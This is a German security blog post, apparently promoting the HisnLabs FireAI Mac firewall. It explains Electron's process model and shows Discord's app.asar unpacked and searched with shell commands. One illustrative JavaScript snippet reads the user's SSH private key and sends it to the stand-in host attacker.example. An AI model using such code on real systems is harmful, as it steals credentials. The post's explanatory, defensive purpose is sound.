Was steckt wirklich in Ihren Electron-Apps? Wir haben eine entpackt, um es herauszufinden

Electron kombiniert die Chromium-Rendering-Engine mit der Node.js-Laufzeitumgebung, sodass eine einzige JavaScript-Codebasis als Desktop-App unter macOS, Windows und Linux ausgeliefert werden kann. Slack, Discord, Notion und viele andere sind so gebaut, und jahrelang war es auch Microsoft Teams. Die Bequemlichkeit ist real. Genauso real ist eine Konsequenz, die es sich zu verstehen lohnt: Eine Electron-App ist nicht ein Prozess mit einer Berechtigungsstufe, und ihr gebündelter Quellcode ist nicht schwer zu lesen.

Zwei Prozesse, zwei Berechtigungsstufen

Jede Electron-App hat einen Main-Prozess, der vollständiges Node.js mit normalem, betriebssystemweitem Datei- und Netzwerkzugriff ausführt, sowie einen oder mehrere Renderer-Prozesse, die Webinhalte in einem Chromium-Kontext anzeigen. Electrons eigene Sicherheitsdokumentation ist unmissverständlich, was das Risiko angeht, diese Grenze zu verwischen: „Es ist von größter Wichtigkeit, dass Sie die Node.js-Integration in keinem Renderer aktivieren, der entfernte Inhalte lädt“, weil dies die Barriere zwischen einer Webseite und dem Betriebssystem aufhebt. Die dort empfohlene Lösung lautet nicht „stattdessen dem Inhalt vertrauen“, sondern ist architektonisch: Node-Zugriff aus dem Renderer heraushalten und ihm nur über ein Preload-Skript und die contextBridge-API eine bewusst enge API zur Verfügung stellen, bei aktivierter Kontextisolierung.

Zur Veranschaulichung: Was Node-Integration in einem kompromittierten Renderer ermöglicht

// If nodeIntegration were on and an attacker's script ran in this renderer:
const fs = require('fs')
const https = require('https')

const key = fs.readFileSync(`${process.env.HOME}/.ssh/id_rsa`, 'utf8')
const req = https.request({ hostname: 'attacker.example', path: '/collect', method: 'POST' })
req.end(key)

Das Archiv ist kein Geheimnis: eine echte App entpackt

Die meisten Electron-Apps liefern ihr JavaScript und HTML in einer app.asar-Datei aus. Electrons eigene Dokumentation ist unmissverständlich, wofür dieses Format gedacht ist: „Archive sind schreibgeschützt“, und die Bündelung in eines soll „Ihren Quellcode vor flüchtiger Prüfung verbergen“ — die eigene Formulierung, keine externe Behauptung —, während an anderer Stelle klar festgehalten wird, dass ASAR keine Verschlüsselung bietet. Um zu prüfen, was das in der Praxis bedeutet, haben wir die echte, aktuell auf diesem Rechner installierte Kopie von Discord für macOS (Build 0.0.294) mit Electrons eigenem, gepflegtem Packer entpackt.

Terminal

$ npm install -g @electron/asar
$ asar extract "/Applications/Discord.app/Contents/Resources/app.asar" ./discord_src
$ find ./discord_src -type f | wc -l
1056

Ein einziger Befehl erzeugte 1.056 einfache Dateien: lesbares JavaScript, package.json, und Discords eigenes Modul-Layout — genau wie es Electrons Dokumentation beschreibt. Kein Decompiling, kein Reverse Engineering, kein Passwort. Das ist kein Fehler bei Discord; so funktioniert das ASAR-Format bei jeder Electron-App, ganz bewusst so entworfen.

Was ein echter Extrakt über das Netzwerkverhalten zeigt

Liegt der Quellcode als Klartext vor, werden sowohl Sicherheitsprüfung als auch Suche trivial. Wir haben die entpackten Dateien nach zwei Dingen durchsucht: welche webPreferences Discord tatsächlich setzt, und welche Hostnamen im eigenen Code vorkommen (ohne die Drittanbieter-node_modules).

Terminal, Ergebnisse aus dem echten Extrakt oben

$ grep -rn "nodeIntegration\|contextIsolation" --exclude-dir=node_modules .
app_bootstrap/splashScreen.js:376:      nodeIntegration: false,
app_bootstrap/splashScreen.js:379:      contextIsolation: true,

$ grep -rhoE "https?://[A-Za-z0-9._-]+\.[A-Za-z]{2,}" --exclude-dir=node_modules . | sed -E 's#https?://##' | sort | uniq -c | sort -rn | head
  12 www.w3.org
   3 twitter.com
   3 discord.com
   2 github.com
   1 updates.discord.com
   1 reactjs.org

Um der getesteten App gegenüber fair zu bleiben: Das Splashscreen-Fenster von Discord folgt Electrons Härtungsempfehlung exakt, nodeIntegration: false und contextIsolation: true. Das sollte klar gesagt werden, statt es zu übergehen. Der Punkt dabei ist nicht, dass Discord unsicher ist; er ist, dass wir das in Minuten bei jeder beliebigen Electron-App hätten prüfen können, weil das Archivformat nichts verbirgt. Die meisten Menschen, die eine Electron-App installieren, schauen nie nach, und die meisten statischen Endpoint-Werkzeuge tun es auch nicht.

Warum eine Firewall, die nach Binärvertrauen entscheidet, hier nicht hilft

Keiner der oben genannten Hostnamen ist geheim oder überraschend für eine Chat-App, und genau das ist das Problem für Schutz auf Netzwerkebene. Eine Firewall, die nach Code-Signatur entscheidet, sieht nur eines: eine notariell bestätigte, von Apple signierte Binärdatei, die gewöhnliche HTTPS-Anfragen über Port 443 stellt. Sie hat keine Möglichkeit, einen legitimen API-Aufruf, ein gebündeltes Analytics-SDK und — in einem tatsächlich kompromittierten Renderer — einen Exfiltrationsversuch voneinander zu unterscheiden. Alle drei sehen wie derselbe vertrauenswürdige, mit dem Internet sprechende Prozess aus, weil sie derselbe Prozess sind.

Eine Electron-App anhand ihrer Code-Signatur zu beurteilen, sagt nichts darüber aus, welche ihrer vielen gebündelten Abhängigkeiten welche Verbindungen aufbaut.
Weil der Quellcode als reines JavaScript in einem unverschlüsselten Archiv vorliegt, ist es für jeden, der bereit ist, asar extract auszuführen, real möglich — nicht nur theoretisch —, zu prüfen, was eine App erreichen kann.
Die eine Schutzmaßnahme, die nicht davon abhängt, der Binärdatei zu vertrauen, ist eine Netzwerkrichtlinie pro Prozess und pro Ziel: am Socket zu entscheiden, was eine bestimmte App erreichen darf.

Wo FireAI und HisnLabs ins Spiel kommen

A signed Electron binary and a hidden telemetry SDK inside it look identical to a firewall that only checks the code signature; FireAI checks the connection itself, per app, so you can see and deny what any of your Electron apps are actually reaching, not just trust that they are Apple-notarized.

FireAI ist das eigene Produkt von HisnLabs: eine KI-Firewall für den Mac, die direkt auf dem Gerät läuft. Sie zeigt jede Verbindung Ihrer Apps in verständlicher Sprache und lässt Sie entscheiden, was Ihren Mac verlässt — die KI arbeitet lokal, Ihr Datenverkehr wird also nie an uns oder irgendjemand anderen gesendet. Das Sicherheitsforschungsteam von HisnLabs sorgt dafür, dass diese Entscheidungen verlässlich bleiben: Es katalogisiert, welche Domains gewöhnliche Telemetrie und welche ein echter Dienst sind, verfolgt Land und Netzwerk hinter einer Verbindung und trainiert das lokale Modell (die Autopilot-Funktion) mit echten Verkehrsmustern — ohne dass irgendetwas davon Ihren Mac verlässt.

Die technischen Entscheidungen dahinter können Sie nachlesen — oder FireAI 17 Tage lang ausprobieren — unter FireAI, von HisnLabs.